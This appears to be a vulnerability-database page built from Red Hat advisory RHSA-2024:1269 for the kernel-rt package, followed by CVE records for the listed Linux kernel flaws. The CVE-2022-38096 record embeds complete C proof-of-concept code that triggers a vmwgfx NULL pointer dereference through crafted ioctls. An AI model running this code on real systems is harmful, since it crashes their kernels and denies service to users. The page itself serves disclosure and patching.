csaf_redhat - rhsa-2024

rhsa-2024_1269

Vulnerability from csaf_redhat

Published

2024-03-12 11:49

Modified

2024-11-06 05:13

Summary

Red Hat Security Advisory: kernel-rt security update

Notes

Topic

An update for kernel-rt is now available for Red Hat Enterprise Linux 8.2 Telecommunications Update Service. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Details

The kernel-rt packages provide the Real Time Linux Kernel, which enables fine-tuning for systems with extremely high determinism requirements. Security Fix(es): * UAF in nftables when nft_set_lookup_global triggered after handling named and anonymous sets in batch requests (CVE-2023-3390) * net/sched: sch_qfq component can be exploited if in qfq_change_agg function happens qfq_enqueue overhead (CVE-2023-3611) * net/sched: sch_hfsc UAF (CVE-2023-4623) * use-after-free in sch_qfq network scheduler (CVE-2023-4921) * use after free in nvmet_tcp_free_crypto in NVMe (CVE-2023-5178) * inactive elements in nft_pipapo_walk (CVE-2023-6817) * out-of-bounds write in qfq_change_class function (CVE-2023-31436) * nf_tables: stack-out-of-bounds-read in nft_byteorder_eval() (CVE-2023-35001) * IGB driver inadequate buffer size for frames larger than MTU (CVE-2023-45871) * ktls overwrites readonly memory pages when using function splice with a ktls socket as destination (CVE-2024-0646) * nfp: use-after-free in area_cache_get() (CVE-2022-3545) * vmwgfx: NULL pointer dereference in vmw_cmd_dx_define_query (CVE-2022-38096) * Gather Data Sampling (GDS) side channel vulnerability (CVE-2022-40982) * null-ptr-deref vulnerabilities in sl_tx_timeout in drivers/net/slip (CVE-2022-41858) * fbcon: out-of-sync arrays in fbcon_mode_deleted due to wrong con2fb_map assignment (CVE-2023-38409) * use-after-free in l2cap_sock_release in net/bluetooth/l2cap_sock.c (CVE-2023-40283) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.

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          "text": "A vulnerability was found in area_cache_get in drivers/net/ethernet/netronome/nfp/nfpcore/nfp_cppcore.c in the Netronome Flow Processor (NFP) driver in the Linux kernel. This flaw allows a manipulation that may lead to a use-after-free issue.",
          "title": "Vulnerability description"
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          "text": "kernel: nfp: use-after-free in area_cache_get()",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
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          "title": "Vulnerability description"
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          "text": "kernel: vmwgfx: NULL pointer dereference in vmw_cmd_dx_define_query",
          "title": "Vulnerability summary"
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          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
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          "title": "Vulnerability description"
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          "title": "Vulnerability description"
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          "title": "Vulnerability summary"
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          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
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          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
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cve-2023-3611

Vulnerability from cvelistv5

Published

2023-07-21 20:49

Modified

2024-09-27 13:43

Severity ?

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Out-of-bounds write in Linux kernel's net/sched: sch_qfq component

References

▼	URL	Tags
	https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=3e337087c3b5805fe0b8a46ba622a962880b5d64	patch
	https://kernel.dance/3e337087c3b5805fe0b8a46ba622a962880b5d64
	https://www.debian.org/security/2023/dsa-5480
	https://security.netapp.com/advisory/ntap-20230908-0002/
	https://www.debian.org/security/2023/dsa-5492
	https://lists.debian.org/debian-lts-announce/2023/10/msg00027.html
	https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html

Impacted products

▼	Vendor	Product
	Linux	Kernel

Show details on NVD website

JSON

To clipboard

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cve-2023-4623

Vulnerability from cvelistv5

Published

2023-09-06 13:56

Modified

2024-08-02 07:31

Severity ?

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Use-after-free in Linux kernel's net/sched: sch_hfsc (HFSC qdisc traffic control) component

References

▼	URL	Tags
	https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b3d26c5702c7d6c45456326e56d2ccf3f103e60f	patch
	https://kernel.dance/b3d26c5702c7d6c45456326e56d2ccf3f103e60f
	https://lists.debian.org/debian-lts-announce/2023/10/msg00027.html
	http://packetstormsecurity.com/files/175963/Kernel-Live-Patch-Security-Notice-LSN-0099-1.html
	https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html

Impacted products

▼	Vendor	Product
	Linux	Kernel

Show details on NVD website

JSON

To clipboard

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cve-2022-40982

Vulnerability from cvelistv5

Published

2023-08-11 02:37

Modified

2024-08-03 12:28

Severity ?

6.5 (Medium) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

Information exposure through microarchitectural state after transient execution in certain vector execution units for some Intel(R) Processors may allow an authenticated user to potentially enable information disclosure via local access.

References

▼	URL	Tags
	http://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00828.html
	https://downfall.page
	https://aws.amazon.com/security/security-bulletins/AWS-2023-007/
	https://access.redhat.com/solutions/7027704
	https://xenbits.xen.org/xsa/advisory-435.html
	https://lists.debian.org/debian-lts-announce/2023/08/msg00013.html
	https://security.netapp.com/advisory/ntap-20230811-0001/
	https://www.debian.org/security/2023/dsa-5474
	https://www.debian.org/security/2023/dsa-5475
	https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/T7WO5JM74YJSYAE5RBV4DC6A4YLEKWLF/
	https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/OL7WI2TJCWSZIQP2RIOLWHOKLM25M44J/
	https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HKREYYTWUY7ZDNIB2N6H5BUJ3LE5VZPE/
	https://lists.debian.org/debian-lts-announce/2023/08/msg00026.html
	https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HKKYIK2EASDNUV4I7EFJKNBVO3KCKGRR/

Impacted products

▼	Vendor	Product
	n/a	Intel(R) Processors

Show details on NVD website

JSON

To clipboard

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cve-2023-31436

Vulnerability from cvelistv5

Published

2023-04-28 00:00

Modified

2024-10-21 16:01

Severity ?

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

qfq_change_class in net/sched/sch_qfq.c in the Linux kernel before 6.2.13 allows an out-of-bounds write because lmax can exceed QFQ_MIN_LMAX.

References

▼	URL	Tags
	https://github.com/torvalds/linux/commit/3037933448f60f9acb705997eae62013ecb81e0d
	https://www.spinics.net/lists/stable-commits/msg294885.html
	https://cdn.kernel.org/pub/linux/kernel/v6.x/ChangeLog-6.2.13
	https://www.debian.org/security/2023/dsa-5402	vendor-advisory
	https://lists.debian.org/debian-lts-announce/2023/06/msg00008.html	mailing-list
	https://security.netapp.com/advisory/ntap-20230609-0001/
	http://packetstormsecurity.com/files/173087/Kernel-Live-Patch-Security-Notice-LSN-0095-1.html
	http://packetstormsecurity.com/files/173757/Kernel-Live-Patch-Security-Notice-LSN-0096-1.html
	http://packetstormsecurity.com/files/175963/Kernel-Live-Patch-Security-Notice-LSN-0099-1.html

Impacted products

▼	Vendor	Product
	n/a	n/a

Show details on NVD website

JSON

To clipboard

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cve-2023-4921

Vulnerability from cvelistv5

Published

2023-09-12 19:45

Modified

2024-08-02 07:44

Severity ?

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Use-after-free in Linux kernel's net/sched: sch_qfq component

References

▼	URL	Tags
	https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=8fc134fee27f2263988ae38920bc03da416b03d8	patch
	https://kernel.dance/8fc134fee27f2263988ae38920bc03da416b03d8
	https://lists.debian.org/debian-lts-announce/2023/10/msg00027.html
	https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html

Impacted products

▼	Vendor	Product
	Linux	Kernel

Show details on NVD website

JSON

To clipboard

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cve-2023-45871

Vulnerability from cvelistv5

Published

2023-10-15 00:00

Modified

2024-08-02 20:29

Severity ?

Summary

An issue was discovered in drivers/net/ethernet/intel/igb/igb_main.c in the IGB driver in the Linux kernel before 6.5.3. A buffer size may not be adequate for frames larger than the MTU.

References

▼	URL	Tags
	https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=bb5ed01cd2428cd25b1c88a3a9cba87055eb289f
	https://cdn.kernel.org/pub/linux/kernel/v6.x/ChangeLog-6.5.3
	https://security.netapp.com/advisory/ntap-20231110-0001/
	https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html	mailing-list

Impacted products

▼	Vendor	Product
	n/a	n/a

Show details on NVD website

JSON

To clipboard

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cve-2023-5178

Vulnerability from cvelistv5

Published

2023-11-01 16:32

Modified

2024-09-13 18:25

Severity ?

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Kernel: use after free in nvmet_tcp_free_crypto in nvme

References

▼	URL	Tags
	https://access.redhat.com/errata/RHSA-2023:7370	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2023:7379	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2023:7418	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2023:7548	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2023:7549	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2023:7551	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2023:7554	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2023:7557	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2023:7559	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:0340	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:0378	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:0386	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:0412	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:0431	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:0432	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:0461	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:0554	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:0575	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:1268	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:1269	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:1278	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/security/cve/CVE-2023-5178	vdb-entry, x_refsource_REDHAT
	https://bugzilla.redhat.com/show_bug.cgi?id=2241924	issue-tracking, x_refsource_REDHAT
	https://lore.kernel.org/linux-nvme/20231002105428.226515-1-sagi@grimberg.me/

Impacted products

▼	Vendor	Product
	Red Hat	Red Hat Enterprise Linux 8
	Red Hat	Red Hat Enterprise Linux 8
	Red Hat	Red Hat Enterprise Linux 8
	Red Hat	Red Hat Enterprise Linux 8.2 Advanced Update Support
	Red Hat	Red Hat Enterprise Linux 8.2 Telecommunications Update Service
	Red Hat	Red Hat Enterprise Linux 8.2 Telecommunications Update Service
	Red Hat	Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions
	Red Hat	Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions
	Red Hat	Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support
	Red Hat	Red Hat Enterprise Linux 8.4 Telecommunications Update Service
	Red Hat	Red Hat Enterprise Linux 8.4 Telecommunications Update Service
	Red Hat	Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions
	Red Hat	Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions
	Red Hat	Red Hat Enterprise Linux 8.6 Extended Update Support
	Red Hat	Red Hat Enterprise Linux 8.6 Extended Update Support
	Red Hat	Red Hat Enterprise Linux 8.8 Extended Update Support
	Red Hat	Red Hat Enterprise Linux 8.8 Extended Update Support
	Red Hat	Red Hat Enterprise Linux 9
	Red Hat	Red Hat Enterprise Linux 9
	Red Hat	Red Hat Enterprise Linux 9
	Red Hat	Red Hat Enterprise Linux 9.0 Extended Update Support
	Red Hat	Red Hat Enterprise Linux 9.0 Extended Update Support
	Red Hat	Red Hat Enterprise Linux 9.0 Extended Update Support
	Red Hat	Red Hat Enterprise Linux 9.2 Extended Update Support
	Red Hat	Red Hat Enterprise Linux 9.2 Extended Update Support
	Red Hat	Red Hat Enterprise Linux 9.2 Extended Update Support
	Red Hat	Red Hat Virtualization 4 for Red Hat Enterprise Linux 8
	Red Hat	Red Hat Enterprise Linux 6
	Red Hat	Red Hat Enterprise Linux 7
	Red Hat	Red Hat Enterprise Linux 7
	Red Hat	Red Hat Enterprise Linux 9

Show details on NVD website

JSON

To clipboard

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cve-2022-41858

Vulnerability from cvelistv5

Published

2023-01-17 00:00

Modified

2024-08-03 12:56

Severity ?

Summary

A flaw was found in the Linux kernel. A NULL pointer dereference may occur while a slip driver is in progress to detach in sl_tx_timeout in drivers/net/slip/slip.c. This issue could allow an attacker to crash the system or leak internal kernel information.

References

▼	URL	Tags
	https://github.com/torvalds/linux/commit/ec4eb8a86ade4d22633e1da2a7d85a846b7d1798
	https://security.netapp.com/advisory/ntap-20230223-0006/

Impacted products

▼	Vendor	Product
	n/a	Linux kernel

Show details on NVD website

JSON

To clipboard

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cve-2023-3390

Vulnerability from cvelistv5

Published

2023-06-28 20:02

Modified

2024-08-02 06:55

Severity ?

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Use-after-free in Linux kernel's netfilter subsystem

References

▼	URL	Tags
	https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=1240eb93f0616b21c675416516ff3d74798fdc97
	https://kernel.dance/1240eb93f0616b21c675416516ff3d74798fdc97
	https://www.debian.org/security/2023/dsa-5448
	https://www.debian.org/security/2023/dsa-5461
	https://lists.debian.org/debian-lts-announce/2023/08/msg00001.html
	https://security.netapp.com/advisory/ntap-20230818-0004/
	http://packetstormsecurity.com/files/174577/Kernel-Live-Patch-Security-Notice-LSN-0097-1.html
	https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html

Impacted products

▼	Vendor	Product
	Linux	Linux Kernel

Show details on NVD website

JSON

To clipboard

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cve-2024-0646

Vulnerability from cvelistv5

Published

2024-01-17 15:16

Modified

2024-10-16 14:59

Severity ?

7.0 (High) - CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Kernel: ktls overwrites readonly memory pages when using function splice with a ktls socket as destination

References

▼	URL	Tags
	https://access.redhat.com/errata/RHSA-2024:0723	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:0724	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:0725	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:0850	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:0851	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:0876	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:0881	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:0897	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:1248	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:1250	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:1251	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:1253	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:1268	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:1269	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:1278	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:1306	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:1367	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:1368	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:1377	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:1382	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:1404	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/errata/RHSA-2024:2094	vendor-advisory, x_refsource_REDHAT
	https://access.redhat.com/security/cve/CVE-2024-0646	vdb-entry, x_refsource_REDHAT
	https://bugzilla.redhat.com/show_bug.cgi?id=2253908	issue-tracking, x_refsource_REDHAT
	https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=c5a595000e267

Impacted products

▼	Vendor	Product

	Red Hat	Red Hat Enterprise Linux 8
	Red Hat	Red Hat Enterprise Linux 8
	Red Hat	Red Hat Enterprise Linux 8
	Red Hat	Red Hat Enterprise Linux 8.2 Advanced Update Support
	Red Hat	Red Hat Enterprise Linux 8.2 Telecommunications Update Service
	Red Hat	Red Hat Enterprise Linux 8.2 Telecommunications Update Service
	Red Hat	Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions
	Red Hat	Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions
	Red Hat	Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support
	Red Hat	Red Hat Enterprise Linux 8.4 Telecommunications Update Service
	Red Hat	Red Hat Enterprise Linux 8.4 Telecommunications Update Service
	Red Hat	Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions
	Red Hat	Red Hat Enterprise Linux 8.4 Update Services for SAP Solutions
	Red Hat	Red Hat Enterprise Linux 8.6 Extended Update Support
	Red Hat	Red Hat Enterprise Linux 8.6 Extended Update Support
	Red Hat	Red Hat Enterprise Linux 8.8 Extended Update Support
	Red Hat	Red Hat Enterprise Linux 8.8 Extended Update Support
	Red Hat	Red Hat Enterprise Linux 9
	Red Hat	Red Hat Enterprise Linux 9
	Red Hat	Red Hat Enterprise Linux 9
	Red Hat	Red Hat Enterprise Linux 9.0 Extended Update Support
	Red Hat	Red Hat Enterprise Linux 9.0 Extended Update Support
	Red Hat	Red Hat Enterprise Linux 9.0 Extended Update Support
	Red Hat	Red Hat Enterprise Linux 9.2 Extended Update Support
	Red Hat	Red Hat Enterprise Linux 9.2 Extended Update Support
	Red Hat	Red Hat Enterprise Linux 9.2 Extended Update Support
	Red Hat	Red Hat Virtualization 4 for Red Hat Enterprise Linux 8
	Red Hat	RHOL-5.8-RHEL-9
	Red Hat	RHOL-5.8-RHEL-9
	Red Hat	RHOL-5.8-RHEL-9
	Red Hat	RHOL-5.8-RHEL-9
	Red Hat	RHOL-5.8-RHEL-9
	Red Hat	RHOL-5.8-RHEL-9
	Red Hat	RHOL-5.8-RHEL-9
	Red Hat	RHOL-5.8-RHEL-9
	Red Hat	RHOL-5.8-RHEL-9
	Red Hat	RHOL-5.8-RHEL-9
	Red Hat	RHOL-5.8-RHEL-9
	Red Hat	RHOL-5.8-RHEL-9
	Red Hat	RHOL-5.8-RHEL-9
	Red Hat	RHOL-5.8-RHEL-9
	Red Hat	RHOL-5.8-RHEL-9
	Red Hat	RHOL-5.8-RHEL-9
	Red Hat	RHOL-5.8-RHEL-9
	Red Hat	Red Hat Enterprise Linux 6
	Red Hat	Red Hat Enterprise Linux 7
	Red Hat	Red Hat Enterprise Linux 7
	Red Hat	Red Hat Enterprise Linux 9

Show details on NVD website

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cve-2022-38096

Vulnerability from cvelistv5

Published

2022-09-09 14:39

Modified

2024-09-16 19:46

Severity ?

6.3 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H

Summary

There is a NULL pointer vulnerability in vmwgfx driver

References

▼	URL	Tags
	https://bugzilla.openanolis.cn/show_bug.cgi?id=2073
	https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html	mailing-list

Impacted products

▼	Vendor	Product
	Linux	kernel

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
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                "versionType": "custom"
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            "other": {
              "content": {
                "id": "CVE-2022-38096",
                "options": [
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                    "Exploitation": "poc"
                  },
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          "value": "A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int sid){  \nint cmd[0x1000]={0};\ncmd[0]=1165;\ncmd[1]=0x50;\ncmd[2]=0x0;\ncmd[3]=0x0;\ncmd[4]=-1;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2;  \n\targ.context_handle=sid;\n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[0];         \n}\n\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint cid=alloc_context();  \n  printf(\"%d\",cid);     \n    poc(cid);            \n  \n}"
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            "confidentialityImpact": "NONE",
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        "orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
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          "tags": [
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          "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
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cve-2023-6817

Vulnerability from cvelistv5

Published

2023-12-18 14:37

Modified

2024-08-02 08:42

Severity ?

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

Use-after-free in Linux kernel's netfilter: nf_tables component

References

▼	URL	Tags
	https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=317eb9685095678f2c9f5a8189de698c5354316a	patch
	https://kernel.dance/317eb9685095678f2c9f5a8189de698c5354316a
	http://www.openwall.com/lists/oss-security/2023/12/22/6
	http://www.openwall.com/lists/oss-security/2023/12/22/13
	https://lists.debian.org/debian-lts-announce/2024/01/msg00005.html
	http://packetstormsecurity.com/files/177029/Kernel-Live-Patch-Security-Notice-LSN-0100-1.html

Impacted products

▼	Vendor	Product
	Linux	Kernel

Show details on NVD website

JSON

To clipboard

{
  "containers": {
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      {
        "providerMetadata": {
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          }
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        "title": "CVE Program Container"
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    "cna": {
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          "defaultStatus": "unaffected",
          "packageName": "kernel",
          "product": "Kernel",
          "repo": "https://git.kernel.org",
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          "versions": [
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          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "Lonial Kong"
        },
        {
          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "Xingyuan Mo"
        }
      ],
      "datePublic": "2023-12-06T16:14:37+00:00",
      "descriptions": [
        {
          "lang": "en",
          "value": "A use-after-free vulnerability in the Linux kernel\u0027s netfilter: nf_tables component can be exploited to achieve local privilege escalation.\n\nThe function nft_pipapo_walk did not skip inactive elements during set walk which could lead double deactivations of PIPAPO (Pile Packet Policies) elements, leading to use-after-free.\n\nWe recommend upgrading past commit 317eb9685095678f2c9f5a8189de698c5354316a.\n\n"
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      "metrics": [
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            "attackComplexity": "LOW",
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            "baseScore": 7.8,
            "baseSeverity": "HIGH",
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            "integrityImpact": "HIGH",
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      "source": {
        "discovery": "EXTERNAL"
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      "title": "Use-after-free in Linux kernel\u0027s netfilter: nf_tables component",
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cve-2023-40283

Vulnerability from cvelistv5

Published

2023-08-14 00:00

Modified

2024-08-02 18:31

Severity ?

Summary

An issue was discovered in l2cap_sock_release in net/bluetooth/l2cap_sock.c in the Linux kernel before 6.4.10. There is a use-after-free because the children of an sk are mishandled.

References

▼	URL	Tags
	https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=1728137b33c00d5a2b5110ed7aafb42e7c32e4a1
	https://github.com/torvalds/linux/commit/1728137b33c00d5a2b5110ed7aafb42e7c32e4a1
	https://cdn.kernel.org/pub/linux/kernel/v6.x/ChangeLog-6.4.10
	https://www.debian.org/security/2023/dsa-5480	vendor-advisory
	https://www.debian.org/security/2023/dsa-5492	vendor-advisory
	http://packetstormsecurity.com/files/175072/Kernel-Live-Patch-Security-Notice-LSN-0098-1.html
	https://lists.debian.org/debian-lts-announce/2023/10/msg00027.html	mailing-list
	https://security.netapp.com/advisory/ntap-20231020-0007/
	http://packetstormsecurity.com/files/175963/Kernel-Live-Patch-Security-Notice-LSN-0099-1.html
	https://lists.debian.org/debian-lts-announce/2024/01/msg00004.html	mailing-list

Impacted products

▼	Vendor	Product
	n/a	n/a

Show details on NVD website

JSON

To clipboard

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cve-2023-38409

Vulnerability from cvelistv5

Published

2023-07-17 00:00

Modified

2024-10-30 14:58

Severity ?

Summary

An issue was discovered in set_con2fb_map in drivers/video/fbdev/core/fbcon.c in the Linux kernel before 6.2.12. Because an assignment occurs only for the first vc, the fbcon_registered_fb and fbcon_display arrays can be desynchronized in fbcon_mode_deleted (the con2fb_map points at the old fb_info).

References

▼	URL	Tags
	https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit?id=fffb0b52d5258554c645c966c6cbef7de50b851d
	https://cdn.kernel.org/pub/linux/kernel/v6.x/ChangeLog-6.2.12

Impacted products

▼	Vendor	Product
	n/a	n/a

Show details on NVD website

JSON

To clipboard

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cve-2022-3545

Vulnerability from cvelistv5

Published

2022-10-17 00:00

Modified

2024-08-03 01:14

Severity ?

5.5 (Medium) - CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Summary

Linux Kernel IPsec nfp_cppcore.c area_cache_get use after free

References

▼	URL	Tags
	https://git.kernel.org/pub/scm/linux/kernel/git/klassert/ipsec-next.git/commit/?id=02e1a114fdb71e59ee6770294166c30d437bf86a
	https://vuldb.com/?id.211045
